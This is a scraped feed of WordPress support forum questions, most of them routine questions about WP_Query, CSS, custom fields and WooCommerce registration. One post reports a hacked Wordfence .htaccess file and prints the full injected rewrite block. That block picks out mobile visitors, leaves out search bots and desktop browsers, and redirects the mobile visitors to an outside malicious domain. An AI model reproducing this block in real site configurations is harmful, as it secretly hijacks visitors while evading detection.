Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

meganlop on "Send an email only when email-adress end on "@example-tld.com""

0
0

Dear all,

I really hope I located the right forum for this topic.

I need to know, if there is a solution for the following task:

Send an email with an link, only when the user entered an email adress, which ends on a certain toplevel-domain (i.e. someone@example-tld.com).

Does anyone know, if there are free/paid solutions which would enable one to do so?

Kind regards!


ndrini on "in a loop get_the_title($get_the_ID) vs the_title()"

greenweeds on "Date in a different language - but only the date"

0
0

I have a client that would like to show the date in a different language (Welsh) - but only the date, not everything else. I currently have the site installed in UK English, and I do use WPML where appropriate, but it's not really appropriate on this very simple site.
Is there a file somewhere with the language strings in them? Could someone point it out (latest version Wordpress), or tell me how to achieve this in another way maybe?
I do realise that if I change the file it is liable to get overwritten with updates, but I can't think of another way to achieve the same.

tiofelix on "I'm trying to create a solution to upload images outside the wordpress server"

0
0

I'm not sure if this is the correct section of the forum to ask this but if i'm mistaken, please tell me where i should go and i can post it on the correct section.

I have a wp MU with many subsites, and on each subsite, people upload lots of images, everyday.

At this point you probably already guessed the server disk space won't handle it forever. The thing is... i can't also limit a "max space usage" on the network dashboard because their websites news must be updated almost everytime, and new pics come in.

Now, i'm trying to find (or maybe even create) a plugin which allows the user to upload the pictures on a image sharing service, but using the wordpress dashboard.

I've been using this old Wordpress Flickr Manager plugin for about 1 year or so. It kinda does its work fine, and we bought a premium account on flickr so basically we have unlimited space.

But this plugin is also old now, the author doesn't seem interested to update it, and i even had to do a url fix on the phpFlickr library it uses since Flickr changed their REST API urls.

So i ask for any ideas towards this problem. I can't find another flickr plugin that uploads through wp, neither have an idea of a better solution. Maybe another image sharing service? Maybe even a brand new approach to the problem? I'm out of ideas, and i appreciate any suggestion.

Thanks!

Finland75 on "Header cut off on 1600 screen"

0
0

http://www.annukkajewelrydesign.com

I'm having an issue with my header picture cutting off on a 1600 x 900 screen (not mine, a friend told me). It's absolutely fine on all other sized screens I've looked at, what could be causing this?

It's a twentythirteen theme, and I've created a child theme, so I can edit all the options I want to, but I wonder if I've messed up something there...

Oh and I'm a complete novice at this, so please be patient with me :)

360zen on "Need ideas for HTTPS multiple domain solution"

0
0

Hi there,
I'm developing a WordPress site that runs on multiple domains (not WordPress MU). The two domains are served from the same codebase and I have written a plugin that successfully switches themes based on the URL.

This site has a donation form that uses HTTPS (currently using the WordPress HTTPS plugin). However, WordPress HTTPS only has one option for the domain.

I thought that I could maybe get away with replacing this line
$ssl_host = rtrim($this->getSetting('ssl_host'), '/') . '/';

...with this
$ssl_host = $_SERVER['SERVER_NAME'] . '/';

Unfortunately, it's not that easy. It seems to break the whole site. The site header (and consequently everything else) won't load properly.

Any ideas? Any help here would be much appreciated.

WoutCompay on "Advanced Custom Fields value in WP_Query"

0
0

I would like to display posts from a certain category on the homepage based on which category is selected by the user in an Advanced custom field select.

I now have the below working code, which shows posts from category 'Lisbon', but I would like to replace 'new WP_Query( 'category_name=lisbon' )' by something like 'new WP_Query( 'category_name=[specific advanced custom field value]' )'

How would I go about doing this? Thanks very much in advance!


<?php
// the query
$the_query = new WP_Query( 'category_name=lisbon' ); ?>

<?php if ( $the_query->have_posts() ) : ?>

<!-- pagination here -->

<!-- the loop -->
<?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?>

<h1><?php the_title(); ?></h1>

<?php endwhile; ?>
<!-- end of the loop -->

<!-- pagination here -->

<?php wp_reset_postdata(); ?>

<?php else : ?>
<p><?php _e( 'Sorry, no posts matched your criteria.' ); ?></p>
<?php endif; ?>

rcampoamor on "wordfence .htaccess file have been hacked"

0
0

looks like this happened a few hours ago:

Modified plugin file: wp-content/plugins/wordfence/tmp/.htaccess
Filename: wp-content/plugins/wordfence/tmp/.htaccess
File type: Plugin
Issue first detected: 7 mins ago.
Severity: Warning
Status New
This file belongs to plugin "Wordfence Security" version "5.3.6" and has been modified from the file that is distributed by WordPress.org for this version. Please use the link to see how the file has changed. If you have modified this file yourself, you can safely ignore this warning. If you see a lot of changed files in a plugin that have been made by the author, then try uninstalling and reinstalling the plugin to force an upgrade. Doing this is a workaround for plugin authors who don't manage their code correctly. [See our FAQ on http://www.wordfence.com for more info]

THe usual russian hackage:

The Original Version of the file The Modified Version on your WordPress system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54 ########GET#######
55 RewriteEngine on
56 RewriteRule \.(jpg|png|gif|jpeg|bmp)$ - [L]
57 RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]
58 RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]
59 RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]
60 RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]
61 RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]
62 RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]
63 RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]
64 RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]
65 RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]
66 RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]
67 RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]
68 RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]
69 RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]
70 RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]
71 RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]
72 RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]
73 RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]
74 RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]
75 RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]
76 RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]
77 RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]
78 RewriteCond %{HTTP_USER_AGENT} java [NC,OR]
79 RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]
80 RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]
81 RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]
82 RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]
83 RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]
84 RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]
85 RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]
86 RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]
87 RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]
88 RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]
89 RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
90 RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]
91 RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]
92 RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]
93 RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]
94 RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]
95 RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]
96 RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]
97 RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]
98 RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]
99 RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]
100 RewriteCond %{HTTP_USER_AGENT} palm [NC,OR]
101 RewriteCond %{HTTP_USER_AGENT} pana [NC,OR]
102 RewriteCond %{HTTP_USER_AGENT} pant [NC,OR]
103 RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR]
104 RewriteCond %{HTTP_USER_AGENT} phil [NC,OR]
105 RewriteCond %{HTTP_USER_AGENT} play [NC,OR]
106 RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR]
107 RewriteCond %{HTTP_USER_AGENT} port [NC,OR]
108 RewriteCond %{HTTP_USER_AGENT} prox [NC,OR]
109 RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR]
110 RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR]
111 RewriteCond %{HTTP_USER_AGENT} sage [NC,OR]
112 RewriteCond %{HTTP_USER_AGENT} sams [NC,OR]
113 RewriteCond %{HTTP_USER_AGENT} sany [NC,OR]
114 RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR]
115 RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR]
116 RewriteCond %{HTTP_USER_AGENT} send [NC,OR]
117 RewriteCond %{HTTP_USER_AGENT} seri [NC,OR]
118 RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR]
119 RewriteCond %{HTTP_USER_AGENT} shar [NC,OR]
120 RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR]
121 RewriteCond %{HTTP_USER_AGENT} siem [NC,OR]
122 RewriteCond %{HTTP_USER_AGENT} smal [NC,OR]
123 RewriteCond %{HTTP_USER_AGENT} smar [NC,OR]
124 RewriteCond %{HTTP_USER_AGENT} sony [NC,OR]
125 RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR]
126 RewriteCond %{HTTP_USER_AGENT} symb [NC,OR]
127 RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR]
128 RewriteCond %{HTTP_USER_AGENT} teli [NC,OR]
129 RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR]
130 RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR]
131 RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR]
132 RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR]
133 RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR]
134 RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR]
135 RewriteCond %{HTTP_USER_AGENT} voda [NC,OR]
136 RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR]
137 RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR]
138 RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR]
139 RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR]
140 RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR]
141 RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR]
142 RewriteCond %{HTTP_USER_AGENT} webc [NC,OR]
143 RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
144 RewriteCond %{HTTP_USER_AGENT} winw [NC,OR]
145 RewriteCond %{HTTP_USER_AGENT} xda [NC,OR]
146 RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR]
147 RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR]
148 RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR]
149 RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR]
150 RewriteCond %{HTTP_USER_AGENT} mini [NC,OR]
151 RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR]
152 RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR]
153 RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]
154 RewriteCond %{HTTP_USER_AGENT} wap [NC,OR]
155 RewriteCond %{HTTP_USER_AGENT} phone [NC,OR]
156 RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR]
157 RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
158 RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR]
159 RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR]
160 RewriteCond %{HTTP_USER_AGENT} ipod [NC,OR]
161 RewriteCond %{HTTP_USER_AGENT} iPod [NC,OR]
162 RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR]
163 RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR]
164 RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
165 RewriteCond %{HTTP_USER_AGENT} Android [NC,OR]
166 RewriteCond %{HTTP_USER_AGENT} pda [NC,OR]
167 RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR]
168 RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR]
169 RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR]
170 RewriteCond %{HTTP_USER_AGENT} Moby [NC,OR]
171 RewriteCond %{HTTP_USER_AGENT} Mobi [NC,OR]
172 RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR]
173 RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC]
174 RewriteCond %{HTTP_USER_AGENT} !bsd [NC]
175 RewriteCond %{HTTP_USER_AGENT} !x11 [NC]
176 RewriteCond %{HTTP_USER_AGENT} !unix [NC]
177 RewriteCond %{HTTP_USER_AGENT} !macos [NC]
178 RewriteCond %{HTTP_USER_AGENT} !macintosh [NC]
179 RewriteCond %{HTTP_USER_AGENT} !playstation [NC]
180 RewriteCond %{HTTP_USER_AGENT} !google [NC]
181 RewriteCond %{HTTP_USER_AGENT} !yandex [NC]
182 RewriteCond %{HTTP_USER_AGENT} !bot [NC]
183 RewriteCond %{HTTP_USER_AGENT} !libwww [NC]
184 RewriteCond %{HTTP_USER_AGENT} !msn [NC]
185 RewriteCond %{HTTP_USER_AGENT} !america [NC]
186 RewriteCond %{HTTP_USER_AGENT} !avant [NC]
187 RewriteCond %{HTTP_USER_AGENT} !download [NC]
188 RewriteCond %{HTTP_USER_AGENT} !fdm [NC]
189 RewriteCond %{HTTP_USER_AGENT} !maui [NC]
190 RewriteCond %{HTTP_USER_AGENT} !webmoney [NC]
191 RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC]
192 RewriteRule ^(.*)$ http://crossdirect.ru [L,R=302]


rrosenthal on "Woocommerce Custom Reg Fields"

0
0

I'm trying to add 2 custom fields to the Woo My Accounts registration area. The fields need to be required and added to the user data. I found the sample code below, which I modieif from a post by karbanovich about a year ago. But (1) it doesn't trap the error if the custom field is blank and (2) doesn't appear to add the custom field to the user data.

Any help would be appreciated.

<?php

//Adding Registration fields to the form

add_filter( 'register_form', 'adding_custom_registration_fields' );
function adding_custom_registration_fields( ) {

//lets make the field required so that i can show you how to validate it later;
echo '<div class="form-row form-row-wide"><label for="reg_stid">'.__('Sales Tax ID',

'woocommerce').' <span class="required">*</span></label>
<input type="text" class="input-text" name="stid" id="reg_stid" size="30" value="'.esc_attr

($_POST['stid']).'" /></div>';

}

//Validation registration form after submission using the filter registration_errors
add_filter('registration_errors', 'registration_errors_validation', 10,3);
function registration_errors_validation($reg_errors, $sanitized_user_login, $user_email) {
global $woocommerce;
extract($_POST); // extracting $_POST into separate variables
if($stid == '' ) {
$woocommerce->add_error( __( 'Please, fill in all the required

fields.', 'woocommerce' ) );
}
return $reg_errors;
}

//Updating use meta after registration successful registration
add_action('woocommerce_created_customer','adding_extra_reg_fields');

function adding_extra_reg_fields($user_id) {
extract($_POST);
update_user_meta($user_id, 'stid', $stid);

// can also do multiple fields like that
update_user_meta($user_id, 'stid', $stid);

}

Artus on "Custom field (dropdown) how to add country flag?"

0
0

I have a custom field in the user profile where they can select country. Is is possible to display a flag of the selected country in a users list?

I have the images of all countries already.

Any help would be appreciated. Thanks in advance!

tinalouise50 on "SITE NOT SITTING AT 100% OF SCREEN"

0
0

Can anyone help me figure out why this is happening? I may have left something out when changing code in the editor. I am not aware I have but the developer sent me a link showing that something was amiss with the body css....? I have the screen shot that he sent but there seems no way to up load it here? I have checked his screenshot with my code and cannot see any errors?

web site is: http://www.hsctstopsms.com

yummyfur on "Where to find specific CSS instructions for plug in."

0
0

Hi, I have theme installed that provides me with a very minimal menu on the side. I will only be using lots and lots of pages therefore I needed a tight compact and clean side menu.

This is what the menu looks like with the standard theme http://s16.postimg.org/ms8lv4e5h/standard.jpg

I wanted the menus to have a less cluttered look and I paid someone to make a plug in for me that contains this CSS code which does almost everything I want. See below. If you go to the site you can see how plugin manipulates the standard menu. http://sexologist.guru/wordpress

However now that I understand that this is all it took to do almost exactly what I wanted, I see it's not very difficult and there's a few other things I'd like to add to the plug to tweak it because the plugin maker is very slow and painful to deal with and I just want to finish it myself. So my question is this...

Can someone point me to where I would find instructions for the CSS code I wish to add. It's only really simple stuff. Like I want to be able to change the colours for the Children and Grandchildren, and stuff like that. I'm happy to learn it myself rather than ask for the code but I don't know where to begin to find out the type of things that I am able to add to this plugin with respect to the menus.

Thanks,

—Andrew.

nav.page-nav li { text-transform: uppercase; }
nav.page-nav ul.children li { text-transform: none; }
nav.page-nav li.current_page_item a {
    background: #9d0706;
    color: #fff;
    padding: 3px;
}
li.current_page_item ul.children li a {
	background: none;
    color: #555;
    padding: 0;
}
ul.children li.current_page_item ul.children li a {
	background: none;
    color: #555;
    padding: 0;
}
nav.page-nav .children { display: none; }
li.page_item_has_children.current_page_item > ul.children { display: block; }
.current_page_parent > ul.children { display: block; }
.current_page_ancestor > ul.children { display: block; }

vivoeusebio on "Click, load page, then do something depending on what was clicked"

0
0

Hi. I'm working on a child theme of Twenty Thirteen - http://mrem.byethost9.com/ - using Isotope (http://isotope.metafizzy.co/).
The website is for an illustrator and I'm using Isotope to filter through her works, that are displayed on the home page. I've got that part working with two menus that are filters - "ilustração" and "oficinas", each with their own sub-menus, that are also filters. This part is working.
When I go into another page, like "contactos", however, this complicates things. If I click the filters, I need first to return to the homepage and then filter the posts. I can only do the first part, like this:

//filterMenuItems contains the menu items that will filter the posts.
filterMenuItems.each( function (index) {
var itemLink = $(this).children("a");
itemLink.click( function() {
if (!isThisHome()) { //if we're not currently on the homepage, where filtering happens, then go to home page.
window.location.href = urlHome;
}
filterPosts(this); //function that does the filtering.
});

What I need is to check, each time the home page is loaded, if it came from a different page, and if so, what menu-item was clicked. If it was a filter menu item, then it needs to filter the posts. I'm guessing this is possible with some sort of event listener, but I'm not sure how to do that part. Can anyone give me a hint?

Thank you.

ak47marx22 on "How to unset "Featured image" metabox in page but keep it for custom post type?"

0
0

Hi, I have to hide featured image on page (wp-admin/post-new.php?post_type=page) but need it to be visible on custom page type (wp-admin/post-new.php?post_type=testimonial)

What would be the correct snippet in theme functions.php?

Thanks.

r16n on "Why is add_menu_page() returning a translated hook name?"

0
0

I am writing a little plugin to override some any string. I am hooking the 'gettext' filter in my plugin. All works well, until I started overriding a text in the admin menu and broke a plugin's functionality.

On line 1024-1026 in wp-admin/includes/plugin.php the following code is used

$admin_page_hooks[$menu_slug] = sanitize_title( $menu_title );

$hookname = get_plugin_page_hookname( $menu_slug, '' );

Why isn't the menu slug used in the hook name? Using the menu title seems like a bad idea here. I might need to wrap my 'gettext' filter in another filter or action. If so, could anyone tell me which filter or action to use?


MTWK-IDG on "Update a Gravity Form id with Quick Edit"

0
0

We are using woocommerce and gravity forms. A gravity form id is being assigned (as well as other info)to each product. I'm trying to allow us to use Quick Edit to update the gravity form id. I've populated the Quick Edit but the code below doesn't actually update the field.

add_action( 'save_post','rachel_carden_save_post', 10, 2 );
function rachel_carden_save_post( $post_id, $post ) {

   // don't save for autosave
   if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE )
      return $post_id;

   // dont save for revisions
   if ( isset( $post->post_type ) && $post->post_type == 'product' )
      return $post_id;

   switch( $post->post_type ) {

      case 'product':

         // release date
	 // Because this action is run in several places, checking for the array key keeps WordPress from editing
         // data that wasn't in the form, i.e. if you had this post meta on your "Quick Edit" but didn't have it
         // on the "Edit Post" screen.
	 if ( array_key_exists( 'ai_gravityforms', $_POST ) ) {

$gravity_form_meta = get_post_meta( $post_id,'_gravity_form_data');
// need to update the entire gravity form array for the post - can't grab just the id and change.

$get_gravity_form_meta[0]['id'] = $_POST[ 'ai_gravityforms' ] ;
// replace original data in the individual field with new data from the quick edit form
update_post_meta( $post_id, '_gravity_form_data',$get_gravity_form_meta  );

		}
	 break;

   }

}

Corneliatt on "Custom post categories doesn't show up in menu"

0
0

Hi!
I have a problem with ONE of my custom post types. Well, it's working, but its categories menu doesn't. It doesn't show up in the admin menu, just the posts and "Add new".

add_action( 'init', 'create_quote_taxonomies', 0 );

// create two taxonomies, genres and writers for the post type "book"
function create_quote_taxonomies() {
	// Add new taxonomy, make it hierarchical (like categories)
	$labels = array(
		'name'              => _x( 'Quote categories', 'taxonomy general name' ),
		'singular_name'     => _x( 'Quote category', 'taxonomy singular name' ),
		'search_items'      => __( 'Search category' ),
		'all_items'         => __( 'All categories' ),
		'parent_item'       => __( 'Parent' ),
		'parent_item_colon' => __( 'Parent:' ),
		'edit_item'         => __( 'Edit' ),
		'update_item'       => __( 'Update category' ),
		'add_new_item'      => __( 'Add category' ),
		'new_item_name'     => __( 'New name' ),
		'menu_name'         => __( 'Quote categories' ),
	);

	$args = array(
		'hierarchical'      => true,
		'labels'            => $labels,
		'show_ui'           => true,
		'show_admin_column' => true,
		'query_var'         => true,
		'rewrite'           => array( 'slug' => 'quotes' ),
	);

	register_taxonomy( 'quotes', array( 'quote' ), $args );
}
register_post_type(
			'quote',
			array(
				'labels' => array(
					'name' 			=> __( 'Quotes', 'quote' ),
					'singular_name' => __( 'Quote', 'quote' ),
					'add_new'		=> __( 'Add new', 'quote' ),
					'add_new_item'	=> __( 'Add new quote', 'quote' ),
					'edit'			=> __( 'Edit', 'quote' ),
					'edit_item'		=> __( 'Edit quote', 'quote' ),
					'new_item'		=> __( 'New quote', 'quote' ),
					'view'			=> __( 'Show quotes', 'quote' ),
					'view_item'		=> __( 'Show quote', 'quote' ),
					'search_items'	=> __( 'Search quotes', 'quote' ),
					'not_found'		=> __( 'No quotes found', 'quote' ),
					'not_found_in_trash' => __( 'No quotes found in trash', 'quote' ),
					'parent'		=> __( 'Parent', 'quote' ),
				),
				'description' 		=> __( 'Add quote.', 'quote' ),
				'has_archive'       => true,
				'public'				=> true,
				'show_ui' 			=> true,
				'show_in_menu' 		=> true,
				'show_in_nav_menus' => true,
				'publicly_queryable'=> true,
				'exclude_from_search'=> false,
				'menu_position' 		=> 3,
				'hierarchical'		=> true,
				'query_var'			=> true,
				'supports' 	=> array (
					'title', //Text input field to create a post title.
					'editor',
					'thumbnail'
				)
			)
		);

Would be super grateful if someone could please help me out here :)

Wahtel on "How to display last page which checked by acf meta field?"

0
0

Hi everybody, i need to display last page which checked by acf meta field
this is my code

$args  = array(
		'post_type'      => 'page',
		'post_status'    => 'publish',
		'posts_per_page' => 1,
		'meta_value'     => 1,
		'meta_key'       => 'page_special_project',
	);
	$pages = get_pages( $args );
	foreach ( $pages as $page ) {
		$button_title = get_field( 'page_button_title', $page->ID );
		?>
		<a class="sp-project-link"
		   href="<?php echo get_permalink( $page->ID ); ?>"><?php echo ( ! empty( $button_title ) ) ? $button_title : get_the_title( $page->ID ); ?>
		</a>
	<?php

	}

but posts_per_page does not work, they display all pages who checked by this meta field, pls help me, thanks!

samsonntag on "Images shift on hover, want them to stay still"

0
0

Hello!

I'm using the CSS:

.roll .rollover, .roll:hover .regular {
display: none;
}
.roll:hover .rollover {
display: block;
}

for the following HTML sequence:

<div class="roll"><img class="regular wp-image-1739 alignnone" src="http://thefindlab.com/temp/wp-content/uploads/2015/01/27-54-page/Lexi-Bills.png" alt="Lexi Bills" width="250" height="250" /><img class="rollover wp-image-1740 alignnone" src="http://thefindlab.com/temp/wp-content/uploads/2015/01/27-54-page/Lexi-Bills1.png" alt="Lexi Bills" width="250" height="250" />
</div>

The website is here so you can see what I'm going for. It's just a simple image change on hover. But as you can see, the images shift down like 5px on hover. Occasionally when I've used this workaround in the past, images have stayed still. Can someone tell me if there's something wrong in my code that's causing this shift?

Thanks ahead of time!

Callum on "Space Under Footer"

0
0

I'm having difficulty getting rid of a white space beneath my footer. I've googled it, and come across other people with the same issues, but their solutions haven't been able to fix mine! I'm a bit of a rookie when it comes to code!!!

Here's a link to my site. Please help, it's driving me nuts!

Thanks...

Viewing all 8245 articles
Browse latest View live




Latest Images